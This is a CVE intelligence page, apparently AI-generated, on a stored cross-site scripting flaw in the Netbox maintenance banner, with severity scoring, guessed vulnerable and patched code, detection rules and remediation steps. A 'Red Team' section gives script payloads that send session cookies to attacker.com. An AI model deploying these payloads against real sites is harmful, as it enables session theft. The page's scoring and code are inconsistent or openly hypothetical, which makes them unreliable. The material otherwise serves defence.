☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]

CVE-2024-56917

CVE-2024-56917 Cross-Site Scripting in Netbox
📅 PUBLISHED: 2025-06-24 00:00 UTC 🔄 UPDATED: 2026-09-23 20:39 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.36%
👁️
0.36% probability
9.1× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
SOON
PENDING NVD
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-56917 is a stored Cross-Site Scripting (XSS) vulnerability in Netbox Community version 4.1.7. The flaw resides in the maintenance banner functionality when the application is placed in maintenance mode. An attacker with the ability to modify the maintenance banner (typically an administrator or a user with elevated privileges) can inject arbitrary JavaScript code. When other users access the application during maintenance mode, the injected script executes in their browser context, potentially leading to session hijacking, credential theft, or defacement. The vulnerability has a CVSS score of 0.0 in the NVD due to incomplete scoring, but based on the vector, it is a medium-severity issue with a low attack complexity and a requirement for user interaction.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

Netbox is a Python-based application distributed via PyPI and GitHub. The vulnerability is not in a third-party package but in the core application code. However, organizations using Netbox should verify their deployment source (e.g., official PyPI package, Docker image, or source build) and ensure no malicious modifications have been introduced. The lack of a patch increases supply chain risk, as users must rely on workarounds or custom fixes.

CVSS Breakdown & Threat Level

  • Attack Vector (AV): Network (N) – The vulnerability is exploitable remotely.
  • Attack Complexity (AC): Low (L) – No special conditions required.
  • Privileges Required (PR): None (N) – An unauthenticated user can trigger the XSS if the banner is already malicious.
  • User Interaction (UI): Required (R) – The victim must visit the application during maintenance mode.
  • Scope (S): Changed (C) – The injected script can affect resources beyond the vulnerable component.
  • Confidentiality (C): Low (L) – Limited data exposure possible.
  • Integrity (I): Low (L) – Limited ability to modify data.
  • Availability (A): None (N) – No impact on availability.

Threat Level: Medium (CVSS 4.3). The requirement for user interaction and the need for an attacker to first inject the malicious banner reduce the severity, but the potential for session hijacking and phishing makes it a credible threat.

Deep Dive & Mechanics

The vulnerability exists in the maintenance banner rendering logic. When Netbox is placed in maintenance mode, a banner is displayed to all users. The banner content is stored in the database and rendered without proper sanitization. An attacker who can modify the banner (e.g., via the admin interface or API) can inject HTML and JavaScript. The injected payload executes when any user loads the Netbox interface during maintenance mode.

Root Cause: The application fails to escape or sanitize user-controlled input before rendering it in the HTML response. Specifically, the banner text is likely inserted into the template using a method that does not apply context-aware escaping (e.g., using |safe filter in Django templates or raw HTML insertion).

Attack Flow:

  1. Attacker gains access to the maintenance banner configuration (e.g., via compromised admin credentials or CSRF).
  2. Attacker sets the banner to: <script>alert('XSS')</script> or a more sophisticated payload.
  3. Netbox is placed in maintenance mode (or is already in it).
  4. Victim visits the Netbox URL and sees the banner.
  5. The injected script executes in the victim's browser.

Vulnerable vs. Patched Code

Vulnerable Code (Netbox 4.1.7):

# In views or template rendering
banner = MaintenanceBanner.objects.get(active=True)
context['maintenance_banner'] = banner.text
# Template: {{ maintenance_banner|safe }}

Patched Code (Hypothetical fix):

# Use proper escaping
from django.utils.html import escape
banner = MaintenanceBanner.objects.get(active=True)
context['maintenance_banner'] = escape(banner.text)
# Template: {{ maintenance_banner }}

The vulnerable code uses the |safe filter, which marks the string as safe HTML and bypasses Django's auto-escaping. The patched code removes the |safe filter or uses explicit escaping.

Exploitation & Lab Setup

Red Team

Prerequisites:

  • Access to Netbox admin interface or API with permissions to modify the maintenance banner.
  • Netbox in maintenance mode (or ability to toggle it).

Exploit Steps:

  1. Log in to Netbox as an administrator.
  2. Navigate to Admin > Maintenance Banner.
  3. Set the banner text to:
    <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
    
  4. Save and enable maintenance mode.
  5. Wait for victims to visit the application.

Alternative Payload (Session Hijacking):

<script>
var img = new Image();
img.src = 'https://attacker.com/log?data=' + document.cookie;
</script>

Blue Team

Detection:

  • Monitor for changes to the maintenance banner configuration in audit logs.
  • Look for unusual JavaScript in the banner field.
  • Use Content Security Policy (CSP) headers to block inline scripts.

Mitigation:

  • Restrict access to the maintenance banner configuration to trusted administrators only.
  • Implement input validation and output encoding for all user-controlled fields.
  • Apply a virtual patch using a WAF to block common XSS payloads in the banner parameter.

Indicators of Compromise (IOCs)

  • Network: Outbound HTTP requests to attacker-controlled domains from Netbox users.
  • Logs: Audit log entries showing modification of the maintenance banner with suspicious content.
  • File: No file-based IOCs; the attack is purely in-memory.
  • Registry: N/A

Example IOC (Network):

GET /steal?cookie=sessionid=abc123 HTTP/1.1
Host: attacker.com

Detection Engineering

YARA Rule

rule netbox_xss_maintenance_banner {
    meta:
        description = "Detects XSS payload in Netbox maintenance banner"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-56917"
    strings:
        $xss_payload = /<script[^>]*>.*<\/script>/i
        $img_payload = /<img[^>]+onerror\s*=/i
        $svg_payload = /<svg[^>]+onload\s*=/i
    condition:
        any of them
}

Sigma Rule

title: Netbox Maintenance Banner XSS
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects XSS attempts via Netbox maintenance banner
author: Valters IT
logsource:
    category: web
    product: netbox
detection:
    selection:
        http.method: POST
        http.url: /admin/maintenance-banner/
        http.body|contains: 
            - '<script>'
            - 'onerror='
            - 'onload='
    condition: selection
falsepositives:
    - Legitimate use of HTML in banner (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"Netbox Maintenance Banner XSS Attempt"; flow:to_server; content:"POST"; http_method; content:"/admin/maintenance-banner/"; http_uri; pcre:"/<script[^>]*>.*<\/script>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable maintenance mode if not required.
  2. Restrict access to the maintenance banner configuration to a minimal set of administrators.
  3. Implement a WAF rule to block XSS payloads in the banner field.

Long-term Fix:

  • Upgrade to a patched version of Netbox once available.
  • Apply output encoding to all user-controlled data rendered in templates.
  • Conduct a security review of all input handling in the application.

Workaround:

  • Manually edit the template to remove the |safe filter from the maintenance banner variable.
  • Use a reverse proxy to sanitize responses containing the banner.

Valters IT Signature This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-56917/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.